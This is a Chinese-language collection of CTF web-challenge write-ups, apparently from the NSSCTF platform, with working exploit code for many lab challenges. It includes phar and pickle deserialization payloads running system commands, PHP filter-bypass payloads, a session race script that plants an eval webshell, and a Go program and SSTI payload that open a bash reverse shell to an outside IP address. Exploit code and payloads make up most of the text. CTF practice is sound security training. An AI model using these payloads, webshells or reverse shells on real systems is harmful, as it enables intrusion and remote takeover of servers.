{ return file_get_contents ($this ->filename); } } ?>
我们可以发现在download.php中存在这样的代码
这会触发file_get_contents,存在phar反序列化!我们只需要上传一个phar文件然后下载文件来phar伪协议即可。
接下来,我们需要构造的是pop链,构造恶意phar文件。
这里要注意File中只是return了flag.txt的内容,并没有输出,所以我们想办法将其输出!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php class User { public $db ; public function __destruct ( ) { $this ->db->close (); } } class File { public $filename ="/flag.txt" ; public function close ( ) { return file_get_contents ($this ->filename); } } class FileList { private $files ; private $results ; private $funcs ; public function __construct ( ) { $file =new File (); $this ->files=array ($file ); $this ->results = array (); $this ->funcs = array (); } } $a =new User ();$b =new FileList ();$a ->db=$b ;@unlink ('test.phar' ); $phar = new Phar ('test.phar' );$phar -> startBuffering (); $phar -> setStub ('GIF89a<?php __HALT_COMPILER();?>' ); $phar ->addFromString ('test.txt' ,'test' ); $phar -> setMetadata ($a ); $phar -> stopBuffering ();
以下为delete.php,删除文件时触发unlink,也会触发phar反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } if (!isset ($_POST ['filename' ])) { die (); } include "class.php" ;chdir ($_SESSION ['sandbox' ]);$file = new File ();$filename = (string ) $_POST ['filename' ];if (strlen ($filename ) < 40 && $file ->open ($filename )) { $file ->detele (); Header ("Content-type: application/json" ); $response = array ("success" => true , "error" => "" ); echo json_encode ($response ); } else { Header ("Content-type: application/json" ); $response = array ("success" => false , "error" => "File not exist" ); echo json_encode ($response ); } ?>
1 NSSCTF{c75690ab-7f71-4249-9591-3604d9b33f33}
[MoeCTF 2021]地狱通讯
整理得到如下源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from flask import Flask, render_template, request from flag import flag, FLAG import datetime app = Flask(__name__) @app.route("/" , methods=['GET' , 'POST' ] ) def index (): f = open ("app.py" , "r" ) ctx = f.read() f.close() f1ag = request.args.get('f1ag' ) or "" exp = request.args.get('exp' ) or "" flAg = FLAG(f1ag) message = "Your flag is {0}" + exp if exp == "" : return ctx else : return message.format (flAg) if __name__ == "__main__" : app.run()
关键的利用点在message.format(flAg)和message = “Your flag is {0}” + exp
考点不出意外就是format函数
这其实可以看做是
1 "Your flag is flAg" + exp
,后面还有个exp可控,我们让他也为{},那么这个内容就可控了
那么我们让exp为如下试试
成功,接下来看globals即可。
[CISCN 2019华北Day1]Web2 注册一个账号然后登陆进入就行。
ikun们冲呀,一定要买到lv6
ok,下面找lv6就行,但是翻了好多页都没有,可能数字很大,我们爆破一下
1 2 3 4 5 6 7 8 9 import requestsurl='http://node4.anna.nssctf.cn:28454/shop?page=' for i in range (200 ): target=url+str (i) res=requests.get(target) if 'lv6.png' in res.text: print (i)
180,ok拿捏
天价,那么接下来可能考点就是支付逻辑漏洞
这里需要admin用户才行,同时给了jwt,那么我们伪造jwt就行,这里我试了很多方法都不行,后来jwtcrack一下直接爆破出了密钥
在源代码看到www.zip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import tornado.webfrom sshop.base import BaseHandlerimport pickleimport urllibclass AdminHandler (BaseHandler ): @tornado.web.authenticated def get (self, *args, **kwargs ): if self .current_user == "admin" : return self .render('form.html' , res='This is Black Technology!' , member=0 ) else : return self .render('no_ass.html' ) @tornado.web.authenticated def post (self, *args, **kwargs ): try : become = self .get_argument('become' ) p = pickle.loads(urllib.unquote(become)) return self .render('form.html' , res=p, member=1 ) except : return self .render('form.html' , res='This is Black Technology!' , member=0 )
在admin.py处发现pickle.loads,存在pickle反序列化
同时看一下对于路由的配置,对应的是/b1g_m4mber路由,那么我们只需要在这个路由下进行pickle反序列化即可。
1 2 3 4 5 6 7 8 9 10 11 12 import pickleimport urllibclass cmd (object ): def __reduce__ (self ): return (eval ,("open('/flag.txt','r').read()" ,)) c = cmd() c = pickle.dumps(c) d=urllib.quote(c) print (d)
这里当时试了好久,后来才知道urllib.unquote对应python2版本,要用python2来,不能用python3,同时cmd类中要继承object才行!!!
[SWPUCTF 2022 新生赛]Power! 主要是关于php反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 <html lang="en" > <head> <meta charset="UTF-8" > <meta http-equiv="X-UA-Compatible" content="IE=edge" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>Image Viewer ~ @V@</title> </head> <body> <h1>This is a Image viewer</h1> <form action="/" method="get" > <input type="text" placeholder="vergil.jpg" name="image_path" > <button type="submit" >submit</button> </form> <?php class FileViewer { public $black_list = "flag" ; public $local = "http://127.0.0.1/" ; public $path ; public function __call ($f ,$a ) { $this ->loadfile (); } public function loadfile ( ) { if (!is_array ($this ->path)){ if (preg_match ("/" .$this ->black_list."/i" ,$this ->path)){ $file = $this ->curl ($this ->local."cheems.jpg" ); }else { $file = $this ->curl ($this ->local.$this ->path); } }else { $file = $this ->curl ($this ->local."cheems.jpg" ); } echo '<img src="data:jpg;base64,' .base64_encode ($file ).'"/>' ; } public function curl ($path ) { $url = $path ; $curl = curl_init (); curl_setopt ($curl , CURLOPT_URL, $url ); curl_setopt ($curl , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ($curl , CURLOPT_HEADER, 0 ); $response = curl_exec ($curl ); curl_close ($curl ); return $response ; } public function __wakeup ( ) { $this ->local = "http://127.0.0.1/" ; } } class Backdoor { public $a ; public $b ; public $superhacker = "hacker.jpg" ; public function goodman ($i ,$j ) { $i ->$j = $this ->superhacker; } public function __destruct ( ) { $this ->goodman ($this ->a,$this ->b); $this ->a->c (); } } if (isset ($_GET ['source' ])){ highlight_file (__FILE__ ); }else { if (isset ($_GET ['image_path' ])){ $path = $_GET ['image_path' ]; if (is_string ($path )&&!preg_match ("/http:|gopher:|glob:|php:/i" ,$path )){ echo '<img src="data:jpg;base64,' .base64_encode (file_get_contents ($path )).'"/>' ; }else { echo '<h2>Seriously??</h2><img src="data:jpg;base64,' .base64_encode (file_get_contents ("cheems.jpg" )).'"/>' ; } }else if (isset ($_GET ['path_info' ])){ $path_info = $_GET ['path_info' ]; $FV = unserialize (base64_decode ($path_info )); $FV ->loadfile (); }else { $path = "vergil.jpg" ; echo '<h2>POWER!!</h2> <img src="data:jpg;base64,' .base64_encode (file_get_contents ($path )).'"/>' ; } } ?> </body> <!-- ?source= --> </html>
payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php class FileViewer { public $black_list = "111" ; public $local = "http://127.0.0.1:65500/" ; public $path ="flag.php" ; public function __call ($f ,$a ) { $this ->loadfile (); } public function loadfile ( ) { if (!is_array ($this ->path)){ if (preg_match ("/" .$this ->black_list."/i" ,$this ->path)){ $file = $this ->curl ($this ->local."cheems.jpg" ); }else { $file = $this ->curl ($this ->local.$this ->path); } }else { $file = $this ->curl ($this ->local."cheems.jpg" ); } echo '<img src="data:jpg;base64,' .base64_encode ($file ).'"/>' ; } public function curl ($path ) { $url = $path ; $curl = curl_init (); curl_setopt ($curl , CURLOPT_URL, $url ); curl_setopt ($curl , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ($curl , CURLOPT_HEADER, 0 ); $response = curl_exec ($curl ); curl_close ($curl ); return $response ; } public function __wakeup ( ) { $this ->local = "http://127.0.0.1/" ; } } class Backdoor { public $a ; public $b ; public $superhacker = "http://127.0.0.1:65500/" ; public function goodman ($i ,$j ) { $i ->$j = $this ->superhacker; } public function __destruct ( ) { $this ->goodman ($this ->a,$this ->b); $this ->a->c (); } } $a =new FileViewer ();$b =new Backdoor ();$b ->a=$a ;$b ->b="local" ;$c =array ('a' =>$b ,'b' =>NULL );echo serialize ($c );
用到gc回收机制等
[ISITDTU 2019]EasyPHP 1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );$_ = @$_GET ['_' ];if ( preg_match ('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i' , $_ ) ) die ('rosé will not do it' ); if ( strlen (count_chars (strtolower ($_ ), 0x3 )) > 0xd ) die ('you are so close, omg' ); eval ($_ );?>
绕过两个if即可实现命令执行
首先看看过滤的东西:
1 \x00-\x20,0-1,'"`$&.,|[]{_defgops}+和\x7F
再看下面的if,count_chars第二个参数为3,
也就是不能使用超过13种字符!、
接下来,有一种办法可以看我们到底可以用哪些内置函数!!!好办法!
1 2 3 4 5 6 7 <?php $array =get_defined_functions ();foreach ($array ['internal' ] as $arr ){ if ( preg_match ('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i' , $arr ) )continue ; if ( strlen (count_chars (strtolower ($_ ), 0x3 )) > 0xd )continue ; print ($arr ."\n" ); }
获取可用函数
但是我们没有发现可供我们使用的函数,该怎么办呢?
我们接着看过滤,发现异或,取反之类的没有被过滤,可以考虑用他们来绕过。
尝试取反
1 2 echo urlencode(~('phpinfo')); //%8F%97%8F%96%91%99%90
成功执行phpinfo
接下来我们可以看看disable function
print_r(),scandir()之类的可以用
1 2 3 4 5 6 echo urlencode(~('print_r')); //%8F%8D%96%91%8B%A0%8D echo urlencode(~('scandir')); //%8C%9C%9E%91%9B%96%8D echo urlencode(~('.')); //%D1
1 (~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(~%D1));
1 ((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
这里总共15个字符,超过了两个
但是这里字符种类超过限制,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 def en (s ): return hex (ord (s) ^ 0xff )[2 :] p = list (set ('printrscandir' )) for i in p: for j in p: for k in p: for m in p: if ord (j) ^ ord (k) ^ ord (m) == ord (i): if (j == k or j == m or m == k): continue else : print (i+'==' +j + '^' + k + '^' +m, end='\t' ) print ( '{:0>2} => ["{:0>2}","{:0>2}","{:0>2}"]' .format ( en(i), en(j), en(k), en(m))) break
1 2 3 n==d^i^c 91 => ["9b","96","9c"] p==r^a^c 8f => ["8d","9e","9c"] t==d^s^c 8b => ["9b","8c","9c"]
print_r(scandir(‘.’))
往下变:以下两种都行,可以构造很多很多种,替换哪种都没事!
1 ((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));
1 ((%8d%8d%96%9b%9b%a0%8d)^(%9e%ff%ff%96%8c%ff%ff)^(%9c%ff%ff%9c%9c%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%9b%9b%96%8d)^(%ff%ff%ff%96%ff%ff%ff)^(%ff%ff%ff%9c%ff%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
想要读取的话
1 readfile(end(scandir('.')))
1 2 3 4 ((%8D%9A%9E%9B%99%96%93%9A)^(%ff%ff%ff%ff%ff%ff%ff)) ((%9A%91%9B)^(%ff%ff%ff)) ((%8C%9C%9E%91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff)) ((%D1)^(%ff))
1 2 3 d==l^a^i 9b => ["93","9e","96"] i==f^n^a 96 => ["99","91","9e"] c==a^l^n 9c => ["9e","93","91"]
1 ((%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff))(((%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff))(((%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a))(%d1^%ff)));
[安洵杯 2019]easy_serialize_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET ['f' ];function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode ('|' ,$filter_arr ).'/i' ; return preg_replace ($filter ,'' ,$img ); } if ($_SESSION ){ unset ($_SESSION ); } $_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract ($_POST );if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); } $serialize_info = filter (serialize ($_SESSION ));if ($function == 'highlight_file' ){ highlight_file ('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize ($serialize_info ); echo file_get_contents (base64_decode ($userinfo ['img' ])); }
这里不太清楚这个序列化后是长啥样的,本地跑一下看看。
1 a:3:{s:4:"user";s:5:"guest";s:8:"function";s:5:"b1234";s:3:"img";s:40:"da39a3ee5e6b4b0d3255bfef95601890afd80709";}
这个sha1是需要绕过的!
但是这要咋绕啊?发现有个filter会过滤掉字符串,可以考虑字符串逃逸,把img逃逸出来,我们可以自己构造!
存在extract($_POST);变量覆盖!
1 2 $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function;
这俩都是可控的。
function可控,我们在里面弄img然后闭合就行,那么我们用user来进行逃逸,吞掉";s:8:"function";s:xx:"
,23个字符。
1 ";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}
有个hint就是d0g3_f1ag.php
ok拿捏了。/d0g3_fllllllag
1 ";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}
NSSCTF{eb4bcc79-d54c-4437-af0a-d13b88c05373}
[护网杯 2018]easy_tornado 打开页面有三个超链接,集成一下信息
1 2 3 4 5 6 7 8 9 10 11 12 13 /welcome.txt fa7aa3ea2a63d3e3f984fc2f952b9d95 /hints.txt 9dd148c6b068df197ef0c4d592565839 /flag.txt 7f5f6f0a3e742f57e0c66c6e2989e494 md5(cookie_secret+md5(filename)) /fllllllllllllag
我们需要获取cookie_secret的值
而我们查官方文档,tornado在搭建一个网站时,肯定会有多个handler,而这些handler都是RequestHandler的子类
RequestHandler.settings又指向self.application.settings
所以我们可以说handler.settings指向了RequestHandler.settings了,对吧
1 128f7343-bd58-429c-80c6-c72b604e2aaf
然后验证一下,用flag.txt
1 2 3 /flag.txt md5 => 40dfb7391c19a66939e6b6f4e9898804 2f02cee7-4944-4208-9af2-fae3dad9ce3740dfb7391c19a66939e6b6f4e9898804 9c2b962c16d37c4d7e8d2731f5d589b4
1 2 2f02cee7-4944-4208-9af2-fae3dad9ce373bf9f6cf685a6dd8defadabfb41a03a1 256ccf8b76c09059ce6fa48edd653af9
[BJDCTF 2020]Cookie is so subtle!
flag界面存在ssti,是twig模板引擎的ssti
发现他会把username的值设置为cookie!
同时页面也会回显123.
cookie处可能存在ssti
实锤了,想办法看其他目录
这里想了半天,突然想起来,ls /是一列一列输出的,所以这里只输出了第一行,我们让他成行输出即可!
刚开始试了
[NSSRound#8 Basic]Upload_gogoggo
就一个文件上传的功能点,上传试试
这波….
go webshell??go help???这是用go执行了我的文件名吗?
上传文件名为help试试
这是??
命令执行(go 文件名前缀 文件上传的路径)?
能不能让他go run go文件
go run run.go??
可以吗?
run.go文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package mainimport ("fmt" "log" "os/exec" ) func main () { cmd := exec.Command("bash" , "-c" ,"bash -i >& /dev/tcp/156.238.233.113/4567 0>&1" ) out, err := cmd.CombinedOutput() if err != nil { fmt.Printf("combined out:\n%s\n" , string (out)) log.Fatalf("cmd.Run() failed with %s\n" , err) } fmt.Printf("combined out:\n%s\n" , string (out)) }
直接弹shell
根目录下有个flaaaag TlNTQ1QK
/home/galf RntmY2ZjYjIwNS1kZjFhLTQ2NWYtODMzOC0wYzRhMjM2MDEzNmF9Cg==
抽象
1 NSSCTF{fcfcb205-df1a-465f-8338-0c4a2360136a}
[MoeCTF 2021]fake game
随便发个包,正常分配属性肯定是不行的。
提示merge,原型链污染。
如果你将某一项属性值设为0,你将没有这项属性!
那么污染proto,当前找不到就找之前的,完美了。
[NSSRound#13 Basic]ez_factors
因数分解
发现只能输出数字。
那就用od,输出八进制
[NSSRound#4 SWPU]1zweb(revenge) 一道phar反序列化题,但是跟之前做的不太一样
有两个功能点
存在任意文件读取,先读取index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 class LoveNss { public $ljt ; public $dky ; public $cmd ; public function __construct ( ) { $this ->ljt="ljt" ; $this ->dky="dky" ; phpinfo (); } public function __destruct ( ) { if ($this ->ljt==="Misc" &&$this ->dky==="Re" ) eval ($this ->cmd); } public function __wakeup ( ) { $this ->ljt="Re" ; $this ->dky="Misc" ; } } $file =$_POST ['file' ];if (isset ($_POST ['file' ])){ if (preg_match ("/flag/" , $file )) { die ("nonono" ); } echo file_get_contents ($file ); }
这里其实就是要构造phar文件了。
再读取upload.php,查看相关过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php if ($_FILES ["file" ]["error" ] > 0 ){ echo "上传异常" ; } else { $allowedExts = array ("gif" , "jpeg" , "jpg" , "png" ); $temp = explode ("." , $_FILES ["file" ]["name" ]); $extension = end ($temp ); if (($_FILES ["file" ]["size" ] && in_array ($extension , $allowedExts ))){ $content =file_get_contents ($_FILES ["file" ]["tmp_name" ]); $pos = strpos ($content , "__HALT_COMPILER();" ); if (gettype ($pos )==="integer" ){ echo "ltj一眼就发现了phar" ; }else { if (file_exists ("./upload/" . $_FILES ["file" ]["name" ])){ echo $_FILES ["file" ]["name" ] . " 文件已经存在" ; }else { $myfile = fopen ("./upload/" .$_FILES ["file" ]["name" ], "w" ); fwrite ($myfile , $content ); fclose ($myfile ); echo "上传成功 ./upload/" .$_FILES ["file" ]["name" ]; } } }else { echo "dky不喜欢这个文件 ." .$extension ; } } ?>
发现存在对__HALT_COMPILER();的检测。可以用两种方法来绕过
来吧,先构造恶意phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class LoveNss { public $ljt ="Misc" ; public $dky ="Re" ; public $cmd ="system('tac /f*');" ; public function __destruct ( ) { if ($this ->ljt==="Misc" &&$this ->dky==="Re" ) eval ($this ->cmd); } public function __wakeup ( ) { $this ->ljt="Re" ; $this ->dky="Misc" ; } } @unlink ('test.phar' ); $phar = new Phar ('test.phar' );$phar ->startBuffering ();$phar ->setStub ('GIF89a<?php __HALT_COMPILER();?>' );$o =new LoveNss ();$phar ->setMetadata ($o );$phar ->addFromString ('test.txt' ,'test' );$phar ->stopBuffering ();
这里注意构造完要用winhex改属性数量!
1 2 3 4 5 6 import gzipwith open ('test.phar' , 'rb' ) as file: f = file.read() newf = gzip.compress(f) with open ('capoo.gif' , 'wb' ) as file: file.write(newf)
尝试phar文件包含,他说broken signature,签名有问题?!
当我们更改test.phar文件的内容时,签名会变得无效,因此我们需要换一个签名!
1 2 3 4 5 6 7 8 from hashlib import sha1with open ('test.phar' , 'rb' ) as file: f = file.read() s = f[:-28 ] h = f[-8 :] newf = s + sha1(s).digest() + h with open ('newtest.phar' , 'wb' ) as file: file.write(newf)
拿捏了!
[CISCN 2019华东南]Web4 开局发现任意文件读取
python网站,那就直接读源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import re, random, uuid, urllibfrom flask import Flask, session, requestapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 ) app.debug = True @app.route('/' ) def index (): session['username' ] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('^file.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str (ex) return 'no response' @app.route('/flag' ) def flag (): if session and session['username' ] == 'fuck' : return open ('/flag.txt' ).read() else : return 'Access denied' if __name__=='__main__' : app.run( debug=True , host="0.0.0.0" )
思路就是改session。
接下来如果我们能获取到secret_key那就大功告成了。
然后我发现了一个解题关键:
1 random.seed(uuid.getnode())
只要我们获取到uuid.getnode(),那么就知道种子了,就可以知道secret_key了.
uuid.getnode()返回计算机的网络接口卡(NIC)地址 ,通常是设备的 MAC 地址。
1 /sys/class/net/eth0/address
这道题前面写到过啊我丢,突然意识到。
1 2 3 4 5 import randomrandom.seed(0x0242ac02820a ) sec=str (random.random()*233 ) print (sec)
这里踩到坑了,python2的环境!!!
这里不知道为啥不能用原来的格式,奇怪
[强网杯 2019]高明的黑客
给了源码
一堆混淆过的不知道是啥的文件,超级多。
我们放d盾跑一下
几乎都有问题,直接随便找一个试试。
执行不了!
那就跑跑脚本,找出能执行的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import osimport requestsimport timeimport threadingimport reprint ('开始时间: ' + time.asctime(time.localtime(time.time())))s1 = threading.Semaphore(100 ) filePath=r'D:\newphpstudy\phpstudy_pro\WWW\src' os.chdir(filePath) requests.adapters.DEFAULT_RETRIES = 5 files=os.listdir(filePath) session=requests.session() session.keep_alive=False def get_content (file ): s1.acquire() with open (file,encoding='utf-8' )as f: gets=list (re.findall('\$_GET\[\'(.*?)\'\]' ,f.read())) posts=list (re.findall('\$_POST\[\'(.*?)\'\]' ,f.read())) data={} params={} for i in gets: params[i]="echo '123456';" for j in posts: data[j]="echo '123456';" target="http://127.0.0.1/src/" +file res=session.post(target,data=data,params=params) res.close() res.encoding='utf-8' if '123456' in res.text: flag=0 for i in gets: res=session.get(target+'?%s=' %i+"echo '123456';" ) if '123456' in res.text: flag=1 break if flag!=1 : for j in posts: res = session.post(target,data={j:"echo '123456';" }) if '123456' in res.text: break if flag==1 : params=i else : params=j print ('找到了利用文件: ' + file + " and 找到了利用的参数:%s" % params) print ('结束时间: ' + time.asctime(time.localtime(time.time()))) s1.release() for f in files: t=threading.Thread(target=get_content,args=(f,)) t.start()
拿捏了!
prize_p2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 const { randomBytes } = require ('crypto' );const express = require ('express' );const fs = require ('fs' );const fp = '/app/src/flag.txt' ;const app = express ();const flag = Buffer (255 );const a = fs.open (fp, 'r' , (err, fd ) => { fs.read (fd, flag, 0 , 44 , 0 , () => { fs.rm (fp, () => {}); }); }); app.get ('/' , function (req, res ) { res.set ('Content-Type' , 'text/javascript;charset=utf-8' ); res.send (fs.readFileSync (__filename)); }); app.get ('/hint' , function (req, res ) { res.send (flag.toString ().slice (0 , randomBytes (1 )[0 ]%32 )); }) app.get ('/getflag' , function (req, res ) { res.set ('Content-Type' , 'text/javascript;charset=utf-8' ); try { let a = req.query .a ; if (a === randomBytes (3 ).toString ()) { res.send (fs.readFileSync (req.query .b )); } else { const t = setTimeout (() => { res.send (fs.readFileSync (req.query .b )); }, parseInt (req.query .c )?Math .max (86400 *1000 , parseInt (req.query .c )):86400 *1000 ); } } catch { res.send ('?' ); } }) app.listen (80 , '0.0.0.0' , () => { console .log ('Start listening' ) });
关键点在/getflag,它可以发送请求。
1 2 3 4 5 6 7 8 const fp = '/app/src/flag.txt' ;const app = express ();const flag = Buffer (255 );const a = fs.open (fp, 'r' , (err, fd ) => { fs.read (fd, flag, 0 , 44 , 0 , () => { fs.rm (fp, () => {}); }); });
同时,我们注意看这里
/app/src/flag.txt 文件被 open() 打开,但最终没有关闭,虽然删除了该文件,但在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可得到被删除文件的内容。/proc/self/fd 这个目录里包含了进程打开文件的情况,目录里面有一堆/proc/self/fd/id文件,id就是进程记录的打开文件的文件描述符的序号。id可爆破猜测获得。
setTimeout是使用Int32来存储延时参数值的,也就是说最大的延时值是2^31-1。 一旦超过了最大值,其效果就跟延时值为0的情况一样。数为 2147483648,即可实现延时为0。
[NSSCTF 2nd]MyHurricane 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import tornado.ioloopimport tornado.webimport osBASE_DIR = os.path.dirname(__file__) def waf (data ): bl = ['\'' , '"' , '__' , '(' , ')' , 'or' , 'and' , 'not' , '{{' , '}}' ] for c in bl: if c in data: return False for chunk in data.split(): for c in chunk: if not (31 < ord (c) < 128 ): return False return True class IndexHandler (tornado.web.RequestHandler): def get (self ): with open (__file__, 'r' ) as f: self .finish(f.read()) def post (self ): data = self .get_argument("ssti" ) if waf(data): with open ('1.html' , 'w' ) as f: f.write(f""" {data} """ ) f.flush() self .render('1.html' ) else : self .finish('no no no' ) if __name__ == "__main__" : app = tornado.web.Application([ (r"/" , IndexHandler), ], compiled_template_cache=False ) app.listen(827 ) tornado.ioloop.IOLoop.current().start()
不影响读文件
1 ssti={% extends /etc/passwd %}
这里应该直接非预期了!
正常来做,过滤了括号引号啥的,笔记了解一下
1 ssti={%set _tt_utf8=eval%}{%raw request.body_arguments[request.method][0]%}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/156.238.233.113/4567 <%261'")
额,虽然最后也是在环境变量里找到flag的。。。
[第五空间 2021]EasyCleanup 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php if (!isset ($_GET ['mode' ])){ highlight_file (__file__); }else if ($_GET ['mode' ] == "eval" ){ $shell = isset ($_GET ['shell' ]) ? $_GET ['shell' ] : 'phpinfo();' ; if (strlen ($shell ) > 15 | filter ($shell ) | checkNums ($shell )) exit ("hacker" ); eval ($shell ); } if (isset ($_GET ['file' ])){ if (strlen ($_GET ['file' ]) > 15 | filter ($_GET ['file' ])) exit ("hacker" ); include $_GET ['file' ]; } function filter ($var ) { $banned = ["while" , "for" , "\$_" , "include" , "env" , "require" , "?" , ":" , "^" , "+" , "-" , "%" , "*" , "`" ]; foreach ($banned as $ban ){ if (strstr ($var , $ban )) return True; } return False; } function checkNums ($var ) { $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' ; $cnt = 0 ; for ($i = 0 ; $i < strlen ($alphanum ); $i ++){ for ($j = 0 ; $j < strlen ($var ); $j ++){ if ($var [$j ] == $alphanum [$i ]){ $cnt += 1 ; if ($cnt > 8 ) return True; } } } return False; } ?>
方法看上去是有两种的,一种是想办法rce,一种是include来进行文件包含
方法一RCE:
1 ?mode=eval&shell=system(~%93%8C%DF%D0);
1 ?mode=eval&shell=system(~%91%93%DF%D0%D5);
方法二:session条件竞争
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import ioimport requestsimport threadingurl = 'http://node4.anna.nssctf.cn:28547/' sessionid = 'met' def write (session ): while True : fileBytes = io.BytesIO(b'a' *1024 *50 ) session.post(url, cookies={'PHPSESSID' : sessionid}, data={'PHP_SESSION_UPLOAD_PROGRESS' : "<?php file_put_contents('/var/www/html/shell.php','<?php eval($_POST[1]);?>');?>" }, files={'file' : ('1.jpg' , fileBytes)}) def read (session ): while True : session.get(url+'?file=/tmp/sess_' +sessionid) r = session.get(url+'shell.php' ) if r.status_code == 200 : print ('OK' ) evnet = threading.Event() session = requests.session() for i in range (5 ): threading.Thread(target=write, args=(session,)).start() for i in range (5 ): threading.Thread(target=read, args=(session,)).start() evnet.set ()
不知道为啥,没成功?!可能是环境问题吧我觉得。。。
[HZNUCTF 2023 final]eznode 打开让我们找源码,扫个目录看看
